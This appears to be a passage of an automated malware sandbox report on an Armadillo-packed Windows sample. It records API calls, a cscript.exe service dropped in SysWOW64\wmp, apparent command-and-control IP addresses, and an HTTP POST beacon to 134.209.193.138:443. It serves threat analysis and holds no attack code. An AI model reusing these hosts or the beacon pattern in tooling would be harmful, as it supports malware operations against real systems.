| Time & API | Arguments | Status | Return | Repeated |
|---|---|---|---|---|
|
1619393838.882626 GetComputerNameA |
computer_name:
OSKAR-PC
|
success | 1 | 0 |
| packer | Armadillo v1.71 |
| Time & API | Arguments | Status | Return | Repeated |
|---|---|---|---|---|
|
1619393839.507626 GetAdaptersAddresses |
flags:
0
family: 0 |
failed | 111 | 0 |
| process | cscript.exe |
| host | 105.209.235.113 | |||
| host | 134.209.193.138 | |||
| host | 162.144.42.60 | |||
| host | 172.217.24.14 | |||
| host | 24.26.151.3 | |||
| host | 68.183.233.80 | |||
| service_name | cscript | service_path | C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\"C:\Windows\SysWOW64\wmp\cscript.exe" | ||||||
| file | C:\Windows\SysWOW64\wmp\cscript.exe:Zone.Identifier |
| dead_host | 24.26.151.3:80 |
| dead_host | 172.217.160.110:443 |
| dead_host | 162.144.42.60:8080 |
| dead_host | 172.217.24.14:443 |
| dead_host | 192.168.56.101:49196 |
| dead_host | 68.183.233.80:8080 |
No hosts contacted.
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| dns.msftncsi.com | A 131.107.255.255 | 131.107.255.255 |
| time.windows.com |
A 20.189.79.72
CNAME time.microsoft.akadns.net |
|
| clients2.google.com |
A 172.217.160.110
CNAME clients.l.google.com |
172.217.160.78 |
| dns.msftncsi.com | AAAA fd3e:4f5a:5b81::1 | 131.107.255.255 |
| teredo.ipv6.microsoft.com | 127.0.0.1 |
| Source | Source Port | Destination | Destination Port |
|---|---|---|---|
| 192.168.56.101 | 49197 | 134.209.193.138 | 443 |
| Source | Source Port | Destination | Destination Port |
|---|---|---|---|
| 192.168.56.101 | 51808 | 114.114.114.114 | 53 |
| 192.168.56.101 | 60123 | 114.114.114.114 | 53 |
| 192.168.56.101 | 60384 | 114.114.114.114 | 53 |
| 192.168.56.101 | 62191 | 114.114.114.114 | 53 |
| 192.168.56.101 | 63429 | 114.114.114.114 | 53 |
| 192.168.56.101 | 137 | 192.168.56.255 | 137 |
| 192.168.56.101 | 138 | 192.168.56.255 | 138 |
| 192.168.56.101 | 123 | 20.189.79.72 time.windows.com | 123 |
| 192.168.56.101 | 49713 | 224.0.0.252 | 5355 |
| 192.168.56.101 | 51378 | 224.0.0.252 | 5355 |
| 192.168.56.101 | 53237 | 224.0.0.252 | 5355 |
| 192.168.56.101 | 53380 | 224.0.0.252 | 5355 |
| 192.168.56.101 | 54178 | 224.0.0.252 | 5355 |
| 192.168.56.101 | 55368 | 224.0.0.252 | 5355 |
| 192.168.56.101 | 56539 | 224.0.0.252 | 5355 |
| 192.168.56.101 | 56804 | 224.0.0.252 | 5355 |
| 192.168.56.101 | 57236 | 224.0.0.252 | 5355 |
| 192.168.56.101 | 58367 | 224.0.0.252 | 5355 |
| 192.168.56.101 | 61680 | 224.0.0.252 | 5355 |
| 192.168.56.101 | 62318 | 224.0.0.252 | 5355 |
| URI | Data |
|---|---|
| http://134.209.193.138:443/yf0k5fYCBGk2Awm/3HPB/2foiQx/lZGKO3FVHw7KLNr5/aOmO178HBGzK6hVrl/uAcohFS9o/ | POST /yf0k5fYCBGk2Awm/3HPB/2foiQx/lZGKO3FVHw7KLNr5/aOmO178HBGzK6hVrl/uAcohFS9o/ HTTP/1.1 Content-Type: multipart/form-data; boundary=-------------------------3f1c9b893da4a13120970093476d3c77 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 134.209.193.138:443 Content-Length: 4532 Connection: Keep-Alive Cache-Control: no-cache |
No ICMP traffic performed.
No IRC requests performed.
No Suricata Alerts
No Suricata TLS
No Snort Alerts